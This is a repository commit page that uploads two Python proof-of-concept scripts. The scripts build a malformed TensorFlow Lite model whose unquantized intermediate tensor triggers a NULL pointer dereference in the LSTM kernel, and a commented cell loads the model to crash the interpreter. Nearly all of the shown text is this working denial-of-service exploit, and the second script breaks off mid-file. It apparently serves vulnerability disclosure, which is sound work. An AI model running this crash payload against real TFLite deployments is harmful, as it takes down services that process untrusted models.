Breakingbad6 commited on
Commit
befad9a
·
verified ·
1 Parent(s): 665387c

Upload 4 files

Browse files
QQ_1778815208710.png ADDED
colab_poc.py ADDED
@@ -0,0 +1,243 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ Self-contained PoC for Google Colab.
4
+ Copy this entire file into a single Colab cell and run.
5
+
6
+ TFLite LSTM NULL pointer dereference DoS
7
+ Bug: PopulateQuantizedLstmParams8x8_8() in lstm.cc reads
8
+ intermediate tensor quantization.params without null check.
9
+ """
10
+
11
+ # Step 1: Install flatbuffers (Colab has tensorflow pre-installed)
12
+ import subprocess, sys
13
+ subprocess.check_call([sys.executable, "-m", "pip", "install", "-q", "flatbuffers"])
14
+
15
+ # Step 2: Build the malicious model
16
+ import flatbuffers, os, tempfile
17
+
18
+ TFLITE_SCHEMA_VERSION = 3
19
+ TENSOR_TYPE_INT8 = 9
20
+ TENSOR_TYPE_INT16 = 7
21
+ TENSOR_TYPE_INT32 = 2
22
+ BUILTIN_OP_LSTM = 16
23
+ BUILTIN_OPTIONS_LSTM = 14 # union index in BuiltinOptions
24
+
25
+ def build_poc_model():
26
+ n_batch, n_input, n_cell, n_output = 1, 2, 2, 2
27
+ b = flatbuffers.Builder(8192)
28
+
29
+ # Strings
30
+ s_main = b.CreateString("main")
31
+ names = {}
32
+ for n in ["input","i2f_w","i2c_w","i2o_w","r2f_w","r2c_w","r2o_w",
33
+ "fg_bias","cg_bias","og_bias","output_state","cell_state","output"]:
34
+ names[n] = b.CreateString(n)
35
+ for i in range(12):
36
+ names[f"inter_{i}"] = b.CreateString(f"intermediate_{i}")
37
+
38
+ def make_int_vec(vals):
39
+ b.StartVector(4, len(vals), 4)
40
+ for v in reversed(vals): b.PrependInt32(v)
41
+ return b.EndVector()
42
+
43
+ def make_float_vec(vals):
44
+ b.StartVector(4, len(vals), 4)
45
+ for v in reversed(vals): b.PrependFloat32(v)
46
+ return b.EndVector()
47
+
48
+ def make_int64_vec(vals):
49
+ b.StartVector(8, len(vals), 8)
50
+ for v in reversed(vals): b.PrependInt64(v)
51
+ return b.EndVector()
52
+
53
+ def make_bool_vec(vals):
54
+ b.StartVector(1, len(vals), 1)
55
+ for v in reversed(vals): b.PrependBool(v)
56
+ return b.EndVector()
57
+
58
+ def make_quant(scale_val, zp_val=0):
59
+ sv = make_float_vec([scale_val])
60
+ zv = make_int64_vec([zp_val])
61
+ b.StartObject(7)
62
+ b.PrependUOffsetTRelativeSlot(2, sv, 0)
63
+ b.PrependUOffsetTRelativeSlot(3, zv, 0)
64
+ return b.EndObject()
65
+
66
+ def make_tensor(name_off, shape_off, ttype, buf_idx, quant_off=0, is_var=False):
67
+ b.StartObject(10)
68
+ b.PrependUOffsetTRelativeSlot(0, shape_off, 0)
69
+ b.PrependByteSlot(1, ttype, 0)
70
+ b.PrependUint32Slot(2, buf_idx, 0)
71
+ b.PrependUOffsetTRelativeSlot(3, name_off, 0)
72
+ if quant_off: b.PrependUOffsetTRelativeSlot(4, quant_off, 0)
73
+ if is_var: b.PrependBoolSlot(5, True, False)
74
+ return b.EndObject()
75
+
76
+ # Shapes
77
+ sh_in = make_int_vec([n_batch, n_input])
78
+ sh_wi = make_int_vec([n_cell, n_input])
79
+ sh_wr = make_int_vec([n_cell, n_output])
80
+ sh_b = make_int_vec([n_cell])
81
+ sh_os = make_int_vec([n_batch, n_output])
82
+ sh_cs = make_int_vec([n_batch, n_cell])
83
+ sh_out= make_int_vec([n_batch, n_output])
84
+ sh_it = make_int_vec([1])
85
+
86
+ # Quantization
87
+ q_in = make_quant(0.1)
88
+ q_w = make_quant(0.01)
89
+ q_os = make_quant(0.1)
90
+ q_cs = make_quant(1.0/32768)
91
+ q_o = make_quant(0.1)
92
+ q_it = make_quant(0.01)
93
+
94
+ # Tensors
95
+ tensors = []
96
+ tensors.append(make_tensor(names["input"], sh_in, TENSOR_TYPE_INT8, 1, q_in))
97
+ for n in ["i2f_w","i2c_w","i2o_w"]:
98
+ tensors.append(make_tensor(names[n], sh_wi, TENSOR_TYPE_INT8, len(tensors)+1, q_w))
99
+ for n in ["r2f_w","r2c_w","r2o_w"]:
100
+ tensors.append(make_tensor(names[n], sh_wr, TENSOR_TYPE_INT8, len(tensors)+1, q_w))
101
+ for n in ["fg_bias","cg_bias","og_bias"]:
102
+ tensors.append(make_tensor(names[n], sh_b, TENSOR_TYPE_INT32, len(tensors)+1))
103
+ tensors.append(make_tensor(names["output_state"], sh_os, TENSOR_TYPE_INT8, 11, q_os, is_var=True))
104
+ tensors.append(make_tensor(names["cell_state"], sh_cs, TENSOR_TYPE_INT16, 12, q_cs, is_var=True))
105
+ tensors.append(make_tensor(names["output"], sh_out, TENSOR_TYPE_INT8, 13, q_o))
106
+
107
+ # 12 intermediates: inter_0 has NO quantization (triggers NULL deref)
108
+ for i in range(12):
109
+ if i == 0:
110
+ tensors.append(make_tensor(names[f"inter_{i}"], sh_it, TENSOR_TYPE_INT16, 14+i))
111
+ else:
112
+ tensors.append(make_tensor(names[f"inter_{i}"], sh_it, TENSOR_TYPE_INT16, 14+i, q_it))
113
+
114
+ b.StartVector(4, len(tensors), 4)
115
+ for t in reversed(tensors): b.PrependUOffsetTRelative(t)
116
+ tensors_vec = b.EndVector()
117
+
118
+ # LSTMOptions
119
+ b.StartObject(5)
120
+ b.PrependByteSlot(0, 0, 0) # activation=NONE
121
+ b.PrependFloat32Slot(1, 0.0, 0.0) # cell_clip
122
+ b.PrependFloat32Slot(2, 0.0, 0.0) # proj_clip
123
+ b.PrependByteSlot(3, 0, 0) # kernel_type=FULL
124
+ b.PrependBoolSlot(4, False, False)
125
+ lstm_opts = b.EndObject()
126
+
127
+ # Operator
128
+ op_ins = make_int_vec([0,-1,1,2,3,-1,4,5,6,-1,-1,-1,-1,7,8,9,-1,-1,10,11,-1,-1,-1,-1])
129
+ op_outs = make_int_vec([12])
130
+ op_inters = make_int_vec(list(range(13, 25)))
131
+ mut = [False]*24; mut[18]=True; mut[19]=True
132
+ op_mut = make_bool_vec(mut)
133
+
134
+ b.StartObject(14)
135
+ b.PrependUint32Slot(0, 0, 0)
136
+ b.PrependUOffsetTRelativeSlot(1, op_ins, 0)
137
+ b.PrependUOffsetTRelativeSlot(2, op_outs, 0)
138
+ b.PrependByteSlot(3, BUILTIN_OPTIONS_LSTM, 0)
139
+ b.PrependUOffsetTRelativeSlot(4, lstm_opts, 0)
140
+ b.PrependUOffsetTRelativeSlot(7, op_mut, 0)
141
+ b.PrependUOffsetTRelativeSlot(8, op_inters, 0)
142
+ operator = b.EndObject()
143
+
144
+ b.StartVector(4, 1, 4)
145
+ b.PrependUOffsetTRelative(operator)
146
+ ops_vec = b.EndVector()
147
+
148
+ # SubGraph
149
+ sg_in = make_int_vec([0])
150
+ sg_out = make_int_vec([12])
151
+ b.StartObject(5)
152
+ b.PrependUOffsetTRelativeSlot(0, tensors_vec, 0)
153
+ b.PrependUOffsetTRelativeSlot(1, sg_in, 0)
154
+ b.PrependUOffsetTRelativeSlot(2, sg_out, 0)
155
+ b.PrependUOffsetTRelativeSlot(3, ops_vec, 0)
156
+ b.PrependUOffsetTRelativeSlot(4, s_main, 0)
157
+ sg = b.EndObject()
158
+
159
+ b.StartVector(4, 1, 4)
160
+ b.PrependUOffsetTRelative(sg)
161
+ sgs_vec = b.EndVector()
162
+
163
+ # OperatorCode
164
+ b.StartObject(4)
165
+ b.PrependByteSlot(0, BUILTIN_OP_LSTM, 0)
166
+ b.PrependInt32Slot(2, 1, 1)
167
+ b.PrependInt32Slot(3, BUILTIN_OP_LSTM, 0)
168
+ oc = b.EndObject()
169
+
170
+ b.StartVector(4, 1, 4)
171
+ b.PrependUOffsetTRelative(oc)
172
+ ocs_vec = b.EndVector()
173
+
174
+ # Buffers
175
+ weight_data = bytes(n_cell * n_input) # 4 bytes
176
+ bias_data = bytes(n_cell * 4) # 8 bytes
177
+ data_vecs = {}
178
+ for bi in range(2, 8):
179
+ b.StartVector(1, len(weight_data), 1)
180
+ for byte in reversed(weight_data): b.PrependByte(byte)
181
+ data_vecs[bi] = b.EndVector()
182
+ for bi in range(8, 11):
183
+ b.StartVector(1, len(bias_data), 1)
184
+ for byte in reversed(bias_data): b.PrependByte(byte)
185
+ data_vecs[bi] = b.EndVector()
186
+
187
+ bufs = []
188
+ for bi in range(26):
189
+ if bi in data_vecs:
190
+ b.StartObject(1)
191
+ b.PrependUOffsetTRelativeSlot(0, data_vecs[bi], 0)
192
+ bufs.append(b.EndObject())
193
+ else:
194
+ b.StartObject(1)
195
+ bufs.append(b.EndObject())
196
+
197
+ b.StartVector(4, 26, 4)
198
+ for buf in reversed(bufs): b.PrependUOffsetTRelative(buf)
199
+ bufs_vec = b.EndVector()
200
+
201
+ # Model
202
+ b.StartObject(8)
203
+ b.PrependUint32Slot(0, TFLITE_SCHEMA_VERSION, 0)
204
+ b.PrependUOffsetTRelativeSlot(1, ocs_vec, 0)
205
+ b.PrependUOffsetTRelativeSlot(2, sgs_vec, 0)
206
+ b.PrependUOffsetTRelativeSlot(4, bufs_vec, 0)
207
+ model = b.EndObject()
208
+ b.Finish(model, b"TFL3")
209
+ return bytes(b.Output())
210
+
211
+ # ============================================================
212
+ # CELL 1: Build model and download it (run this first!)
213
+ # ============================================================
214
+ model_bytes = build_poc_model()
215
+ model_path = "/tmp/poc_lstm_null_deref.tflite"
216
+ with open(model_path, "wb") as f:
217
+ f.write(model_bytes)
218
+ print(f"[+] Model: {model_path} ({len(model_bytes)} bytes)")
219
+ print(f"[+] 12 intermediates, inter[0] has NO quantization -> NULL deref")
220
+
221
+ # Download the model file before crashing the kernel
222
+ try:
223
+ from google.colab import files
224
+ files.download(model_path)
225
+ print("[+] Model downloaded! Now run Cell 2 to trigger crash.")
226
+ except ImportError:
227
+ print("[*] Not on Colab, model saved to:", model_path)
228
+
229
+ # ============================================================
230
+ # CELL 2: Trigger the crash (run this AFTER downloading model)
231
+ # Put everything below this line in a SEPARATE Colab cell.
232
+ # ============================================================
233
+ # import tensorflow as tf
234
+ # print(f"[*] TensorFlow version: {tf.__version__}")
235
+ # print(f"[*] Loading model and calling allocate_tensors()...")
236
+ # print(f"[*] Expected: crash in PopulateQuantizedLstmParams8x8_8()")
237
+ # try:
238
+ # interpreter = tf.lite.Interpreter(model_path="/tmp/poc_lstm_null_deref.tflite")
239
+ # interpreter.allocate_tensors()
240
+ # print("[!] No crash - bug may be fixed or model didn't hit the right path")
241
+ # except Exception as e:
242
+ # print(f"[!] Exception (not a crash): {type(e).__name__}: {e}")
243
+ # print("[*] If the kernel died/restarted above, NULL deref triggered successfully.")
create_poc_model.py ADDED
@@ -0,0 +1,438 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ PoC: TFLite LSTM NULL pointer dereference -> DoS (SIGSEGV)
4
+
5
+ Bug: PopulateQuantizedLstmParams8x8_8() in lstm.cc (line ~674) reads
6
+ intermediate tensors' quantization.params without null check:
7
+
8
+ auto* params = reinterpret_cast<TfLiteAffineQuantization*>(
9
+ intermediate->quantization.params);
10
+ intermediate_scale.push_back(params->scale->data[0]); // NULL deref!
11
+
12
+ When an intermediate tensor has no QuantizationParameters in the flatbuffer,
13
+ quantization.params is NULL -> SIGSEGV at params->scale dereference.
14
+
15
+ Contrast with the sibling function PopulateQuantizedLstmParams8x8_16()
16
+ which uses GetIntermediatesSafe() - the 8x8_8 path skips this safe accessor.
17
+
18
+ Trigger: int8 quantized LSTM with 12 intermediate tensors (8x8->8 path),
19
+ where at least one intermediate lacks quantization metadata.
20
+
21
+ Builds .tflite flatbuffer directly (only needs `pip install flatbuffers`).
22
+ """
23
+ import sys
24
+ import os
25
+ import struct
26
+
27
+ # TFLite schema constants
28
+ TFLITE_SCHEMA_VERSION = 3
29
+
30
+ # TensorType enum
31
+ TENSOR_TYPE_INT8 = 9
32
+ TENSOR_TYPE_INT16 = 7
33
+ TENSOR_TYPE_INT32 = 2
34
+
35
+ # BuiltinOperator enum
36
+ BUILTIN_OP_LSTM = 16
37
+
38
+ # BuiltinOptions union index for LSTMOptions
39
+ BUILTIN_OPTIONS_LSTM = 14
40
+
41
+ # ActivationFunctionType
42
+ ACTIVATION_NONE = 0
43
+
44
+ # LSTMKernelType
45
+ LSTM_KERNEL_FULL = 0
46
+
47
+ # LSTM input tensor indices (24-input full kernel)
48
+ LSTM_INPUT_NAMES = [
49
+ "input", # 0
50
+ "input_to_input_weights", # 1 (optional, CIFG)
51
+ "input_to_forget_weights", # 2
52
+ "input_to_cell_weights", # 3
53
+ "input_to_output_weights", # 4
54
+ "recurrent_to_input_weights", # 5 (optional, CIFG)
55
+ "recurrent_to_forget_weights", # 6
56
+ "recurrent_to_cell_weights", # 7
57
+ "recurrent_to_output_weights", # 8
58
+ "cell_to_input_weights", # 9 (optional)
59
+ "cell_to_forget_weights", # 10 (optional)
60
+ "cell_to_output_weights", # 11 (optional)
61
+ "input_gate_bias", # 12 (optional, CIFG)
62
+ "forget_gate_bias", # 13
63
+ "cell_gate_bias", # 14
64
+ "output_gate_bias", # 15
65
+ "projection_weights", # 16 (optional)
66
+ "projection_bias", # 17 (optional)
67
+ "output_state", # 18 (variable)
68
+ "cell_state", # 19 (variable)
69
+ "input_layer_norm_coefficients", # 20 (optional)
70
+ "forget_layer_norm_coefficients", # 21 (optional)
71
+ "cell_layer_norm_coefficients", # 22 (optional)
72
+ "output_layer_norm_coefficients", # 23 (optional)
73
+ ]
74
+
75
+
76
+ def create_poc_model(output_path, n_batch=1, n_input=2, n_cell=2, n_output=2):
77
+ """Build minimal .tflite with int8 LSTM op that triggers NULL deref.
78
+
79
+ The model has 12 intermediate tensors (8x8->8 path), but intermediate[0]
80
+ has NO quantization parameters -> NULL pointer dereference in Prepare().
81
+ """
82
+ import flatbuffers
83
+
84
+ b = flatbuffers.Builder(8192)
85
+
86
+ # =========================================================================
87
+ # Pre-build strings (must be created before any table starts)
88
+ # =========================================================================
89
+ s_main = b.CreateString("main")
90
+ tensor_names = {}
91
+ # Regular tensors
92
+ for name in ["input", "i2f_w", "i2c_w", "i2o_w",
93
+ "r2f_w", "r2c_w", "r2o_w",
94
+ "fg_bias", "cg_bias", "og_bias",
95
+ "output_state", "cell_state", "output"]:
96
+ tensor_names[name] = b.CreateString(name)
97
+ # Intermediate tensors
98
+ for i in range(12):
99
+ tensor_names[f"inter_{i}"] = b.CreateString(f"intermediate_{i}")
100
+
101
+ # =========================================================================
102
+ # Helper: create int vector
103
+ # =========================================================================
104
+ def make_int_vec(vals):
105
+ b.StartVector(4, len(vals), 4)
106
+ for v in reversed(vals):
107
+ b.PrependInt32(v)
108
+ return b.EndVector()
109
+
110
+ # =========================================================================
111
+ # Helper: create float vector
112
+ # =========================================================================
113
+ def make_float_vec(vals):
114
+ b.StartVector(4, len(vals), 4)
115
+ for v in reversed(vals):
116
+ b.PrependFloat32(v)
117
+ return b.EndVector()
118
+
119
+ # =========================================================================
120
+ # Helper: create int64 vector (for zero_point in quantization)
121
+ # =========================================================================
122
+ def make_int64_vec(vals):
123
+ b.StartVector(8, len(vals), 8)
124
+ for v in reversed(vals):
125
+ b.PrependInt64(v)
126
+ return b.EndVector()
127
+
128
+ # =========================================================================
129
+ # Helper: create bool vector
130
+ # =========================================================================
131
+ def make_bool_vec(vals):
132
+ b.StartVector(1, len(vals), 1)
133
+ for v in reversed(vals):
134
+ b.PrependBool(v)
135
+ return b.EndVector()
136
+
137
+ # =========================================================================
138
+ # Helper: create QuantizationParameters table
139
+ # =========================================================================
140
+ def make_quant(scale_val, zp_val=0):
141
+ """Build a QuantizationParameters table with given scale and zero_point."""
142
+ scale_vec = make_float_vec([scale_val])
143
+ zp_vec = make_int64_vec([zp_val])
144
+ # QuantizationParameters: 7 slots (0=min,1=max,2=scale,3=zero_point,
145
+ # 4=details_type,5=details,6=quantized_dimension)
146
+ b.StartObject(7)
147
+ b.PrependUOffsetTRelativeSlot(2, scale_vec, 0) # scale
148
+ b.PrependUOffsetTRelativeSlot(3, zp_vec, 0) # zero_point
149
+ return b.EndObject()
150
+
151
+ # =========================================================================
152
+ # Helper: create Tensor table
153
+ # =========================================================================
154
+ def make_tensor(name_off, shape_off, tensor_type, buf_idx,
155
+ quant_off=0, is_variable=False):
156
+ """Build a Tensor table.
157
+
158
+ Tensor has 10+ fields:
159
+ 0=shape, 1=type, 2=buffer, 3=name, 4=quantization,
160
+ 5=is_variable, 6=sparsity, 7=shape_signature, 8=has_rank,
161
+ 9=variant_tensors
162
+ """
163
+ b.StartObject(10)
164
+ b.PrependUOffsetTRelativeSlot(0, shape_off, 0) # shape
165
+ b.PrependByteSlot(1, tensor_type, 0) # type
166
+ b.PrependUint32Slot(2, buf_idx, 0) # buffer
167
+ b.PrependUOffsetTRelativeSlot(3, name_off, 0) # name
168
+ if quant_off:
169
+ b.PrependUOffsetTRelativeSlot(4, quant_off, 0) # quantization
170
+ if is_variable:
171
+ b.PrependBoolSlot(5, True, False) # is_variable
172
+ return b.EndObject()
173
+
174
+ # =========================================================================
175
+ # Shape vectors
176
+ # =========================================================================
177
+ shape_input = make_int_vec([n_batch, n_input]) # [1, 2]
178
+ shape_weight_i = make_int_vec([n_cell, n_input]) # [2, 2]
179
+ shape_weight_r = make_int_vec([n_cell, n_output]) # [2, 2]
180
+ shape_bias = make_int_vec([n_cell]) # [2]
181
+ shape_ostate = make_int_vec([n_batch, n_output]) # [1, 2]
182
+ shape_cstate = make_int_vec([n_batch, n_cell]) # [1, 2]
183
+ shape_output = make_int_vec([n_batch, n_output]) # [1, 2]
184
+ shape_inter = make_int_vec([1]) # [1] minimal
185
+
186
+ # =========================================================================
187
+ # Quantization parameters
188
+ # =========================================================================
189
+ q_input = make_quant(0.1) # input scale
190
+ q_weight = make_quant(0.01) # weight scale
191
+ q_ostate = make_quant(0.1) # output_state scale
192
+ q_cstate = make_quant(1.0 / 32768) # cell_state: must be 1/32768 for 8x8_8
193
+ q_output = make_quant(0.1) # output scale
194
+ q_inter = make_quant(0.01) # intermediate scale (for valid ones)
195
+
196
+ # =========================================================================
197
+ # Build tensors (25 total)
198
+ # =========================================================================
199
+ # Buffer index mapping:
200
+ # 0 = sentinel (always empty)
201
+ # 1 = input (empty, runtime alloc)
202
+ # 2-7 = weight data (need actual bytes)
203
+ # 8-10 = bias data (need actual bytes)
204
+ # 11 = output_state (empty, variable)
205
+ # 12 = cell_state (empty, variable)
206
+ # 13 = output (empty, runtime alloc)
207
+ # 14-25 = intermediates (empty)
208
+
209
+ tensors = []
210
+
211
+ # Tensor 0: input [1,2] INT8 quantized
212
+ tensors.append(make_tensor(tensor_names["input"], shape_input,
213
+ TENSOR_TYPE_INT8, 1, q_input))
214
+
215
+ # Tensors 1-3: input-to-{forget,cell,output} weights [2,2] INT8
216
+ for name in ["i2f_w", "i2c_w", "i2o_w"]:
217
+ tensors.append(make_tensor(tensor_names[name], shape_weight_i,
218
+ TENSOR_TYPE_INT8, len(tensors) + 1, q_weight))
219
+
220
+ # Tensors 4-6: recurrent-to-{forget,cell,output} weights [2,2] INT8
221
+ for name in ["r2f_w", "r2c_w", "r2o_w"]:
222
+ tensors.append(make_tensor(tensor_names[name], shape_weight_r,
223
+ TENSOR_TYPE_INT8, len(tensors) + 1, q_weight))
224
+
225
+ # Tensors 7-9: {forget,cell,output}_gate_bias [2] INT32 (no quant needed)
226
+ for name in ["fg_bias", "cg_bias", "og_bias"]:
227
+ tensors.append(make_tensor(tensor_names[name], shape_bias,
228
+ TENSOR_TYPE_INT32, len(tensors) + 1))
229
+
230
+ # Tensor 10: output_state [1,2] INT8 quantized, VARIABLE
231
+ tensors.append(make_tensor(tensor_names["output_state"], shape_ostate,
232
+ TENSOR_TYPE_INT8, 11, q_ostate, is_variable=True))
233
+
234
+ # Tensor 11: cell_state [1,2] INT16 quantized (scale=1/32768), VARIABLE
235
+ tensors.append(make_tensor(tensor_names["cell_state"], shape_cstate,
236
+ TENSOR_TYPE_INT16, 12, q_cstate, is_variable=True))
237
+
238
+ # Tensor 12: output [1,2] INT8 quantized
239
+ tensors.append(make_tensor(tensor_names["output"], shape_output,
240
+ TENSOR_TYPE_INT8, 13, q_output))
241
+
242
+ # Tensors 13-24: intermediates (12 total)
243
+ # Key: intermediate[0] (tensor 13) has NO quantization -> triggers NULL deref
244
+ for i in range(12):
245
+ if i == 0:
246
+ # NO QUANTIZATION -> this causes the crash
247
+ tensors.append(make_tensor(tensor_names[f"inter_{i}"], shape_inter,
248
+ TENSOR_TYPE_INT16, 14 + i))
249
+ else:
250
+ # Valid quantization
251
+ tensors.append(make_tensor(tensor_names[f"inter_{i}"], shape_inter,
252
+ TENSOR_TYPE_INT16, 14 + i, q_inter))
253
+
254
+ # Tensors vector (must be in order: 0..24)
255
+ b.StartVector(4, len(tensors), 4)
256
+ for t in reversed(tensors):
257
+ b.PrependUOffsetTRelative(t)
258
+ tensors_vec = b.EndVector()
259
+
260
+ # =========================================================================
261
+ # LSTMOptions table
262
+ # =========================================================================
263
+ b.StartObject(5) # LSTMOptions: 5 fields
264
+ b.PrependByteSlot(0, ACTIVATION_NONE, 0) # fused_activation_function
265
+ b.PrependFloat32Slot(1, 0.0, 0.0) # cell_clip
266
+ b.PrependFloat32Slot(2, 0.0, 0.0) # proj_clip
267
+ b.PrependByteSlot(3, LSTM_KERNEL_FULL, 0) # kernel_type = FULL
268
+ b.PrependBoolSlot(4, False, False) # asymmetric_quantize_inputs
269
+ lstm_options = b.EndObject()
270
+
271
+ # =========================================================================
272
+ # Operator
273
+ # =========================================================================
274
+ # LSTM inputs: 24 entries. -1 = optional/absent.
275
+ # Tensor indices: 0=input, 1=i2f_w, 2=i2c_w, 3=i2o_w, 4=r2f_w, 5=r2c_w,
276
+ # 6=r2o_w, 7=fg_bias, 8=cg_bias, 9=og_bias, 10=output_state, 11=cell_state
277
+ op_input_indices = [
278
+ 0, # 0: input
279
+ -1, # 1: InputToInputWeights (CIFG mode, absent)
280
+ 1, # 2: InputToForgetWeights
281
+ 2, # 3: InputToCellWeights
282
+ 3, # 4: InputToOutputWeights
283
+ -1, # 5: RecurrentToInputWeights (CIFG, absent)
284
+ 4, # 6: RecurrentToForgetWeights
285
+ 5, # 7: RecurrentToCellWeights
286
+ 6, # 8: RecurrentToOutputWeights
287
+ -1, # 9: CellToInputWeights (absent)
288
+ -1, # 10: CellToForgetWeights (absent)
289
+ -1, # 11: CellToOutputWeights (absent)
290
+ -1, # 12: InputGateBias (CIFG, absent)
291
+ 7, # 13: ForgetGateBias
292
+ 8, # 14: CellGateBias
293
+ 9, # 15: OutputGateBias
294
+ -1, # 16: ProjectionWeights (absent)
295
+ -1, # 17: ProjectionBias (absent)
296
+ 10, # 18: OutputState (variable)
297
+ 11, # 19: CellState (variable)
298
+ -1, # 20: InputLayerNormCoefficients (absent)
299
+ -1, # 21: ForgetLayerNormCoefficients (absent)
300
+ -1, # 22: CellLayerNormCoefficients (absent)
301
+ -1, # 23: OutputLayerNormCoefficients (absent)
302
+ ]
303
+ op_inputs_vec = make_int_vec(op_input_indices)
304
+ op_outputs_vec = make_int_vec([12]) # output tensor
305
+
306
+ # Intermediate tensor indices (tensors 13-24)
307
+ op_intermediates_vec = make_int_vec(list(range(13, 25)))
308
+
309
+ # mutating_variable_inputs: mark inputs 18 (output_state) and 19 (cell_state)
310
+ mutating = [False] * 24
311
+ mutating[18] = True
312
+ mutating[19] = True
313
+ op_mutating_vec = make_bool_vec(mutating)
314
+
315
+ # Operator table: 14 slots (including union type/value split)
316
+ # Slot 0: opcode_index, 1: inputs, 2: outputs,
317
+ # 3: builtin_options_type, 4: builtin_options,
318
+ # 5: custom_options, 6: custom_options_format,
319
+ # 7: mutating_variable_inputs, 8: intermediates, ...
320
+ b.StartObject(14)
321
+ b.PrependUint32Slot(0, 0, 0) # opcode_index = 0
322
+ b.PrependUOffsetTRelativeSlot(1, op_inputs_vec, 0) # inputs
323
+ b.PrependUOffsetTRelativeSlot(2, op_outputs_vec, 0) # outputs
324
+ b.PrependByteSlot(3, BUILTIN_OPTIONS_LSTM, 0) # builtin_options_type
325
+ b.PrependUOffsetTRelativeSlot(4, lstm_options, 0) # builtin_options
326
+ b.PrependUOffsetTRelativeSlot(7, op_mutating_vec, 0) # mutating_variable_inputs
327
+ b.PrependUOffsetTRelativeSlot(8, op_intermediates_vec, 0) # intermediates
328
+ operator = b.EndObject()
329
+
330
+ b.StartVector(4, 1, 4)
331
+ b.PrependUOffsetTRelative(operator)
332
+ operators_vec = b.EndVector()
333
+
334
+ # =========================================================================
335
+ # SubGraph
336
+ # =========================================================================
337
+ sg_inputs = make_int_vec([0]) # model input: tensor 0
338
+ sg_outputs = make_int_vec([12]) # model output: tensor 12
339
+
340
+ b.StartObject(5) # SubGraph: 5 fields
341
+ b.PrependUOffsetTRelativeSlot(0, tensors_vec, 0) # tensors
342
+ b.PrependUOffsetTRelativeSlot(1, sg_inputs, 0) # inputs
343
+ b.PrependUOffsetTRelativeSlot(2, sg_outputs, 0) # outputs
344
+ b.PrependUOffsetTRelativeSlot(3, operators_vec, 0) # operators
345
+ b.PrependUOffsetTRelativeSlot(4, s_main, 0) # name
346
+ subgraph = b.EndObject()
347
+
348
+ b.StartVector(4, 1, 4)
349
+ b.PrependUOffsetTRelative(subgraph)
350
+ subgraphs_vec = b.EndVector()
351
+
352
+ # =========================================================================
353
+ # OperatorCode
354
+ # =========================================================================
355
+ b.StartObject(4) # OperatorCode: 4 fields
356
+ b.PrependByteSlot(0, BUILTIN_OP_LSTM, 0) # deprecated_builtin_code
357
+ b.PrependInt32Slot(2, 1, 1) # version
358
+ b.PrependInt32Slot(3, BUILTIN_OP_LSTM, 0) # builtin_code
359
+ op_code = b.EndObject()
360
+
361
+ b.StartVector(4, 1, 4)
362
+ b.PrependUOffsetTRelative(op_code)
363
+ opcodes_vec = b.EndVector()
364
+
365
+ # =========================================================================
366
+ # Buffers
367
+ # =========================================================================
368
+ # Total: 26 buffers (0=sentinel, 1=input, 2-7=weights, 8-10=biases,
369
+ # 11=output_state, 12=cell_state, 13=output, 14-25=intermediates)
370
+ #
371
+ # Weights (INT8 [n_cell, n_input] = [2,2] = 4 bytes each): buffers 2-7
372
+ # Biases (INT32 [n_cell] = [2] = 8 bytes each): buffers 8-10
373
+ # All others: empty (runtime allocated)
374
+
375
+ weight_data = bytes(n_cell * n_input) # 4 zero bytes for INT8 [2,2]
376
+ bias_data = bytes(n_cell * 4) # 8 zero bytes for INT32 [2]
377
+
378
+ # Pre-build data vectors for non-empty buffers
379
+ data_vecs = {}
380
+ for buf_idx in range(2, 8): # weight buffers
381
+ b.StartVector(1, len(weight_data), 1)
382
+ for byte in reversed(weight_data):
383
+ b.PrependByte(byte)
384
+ data_vecs[buf_idx] = b.EndVector()
385
+
386
+ for buf_idx in range(8, 11): # bias buffers
387
+ b.StartVector(1, len(bias_data), 1)
388
+ for byte in reversed(bias_data):
389
+ b.PrependByte(byte)
390
+ data_vecs[buf_idx] = b.EndVector()
391
+
392
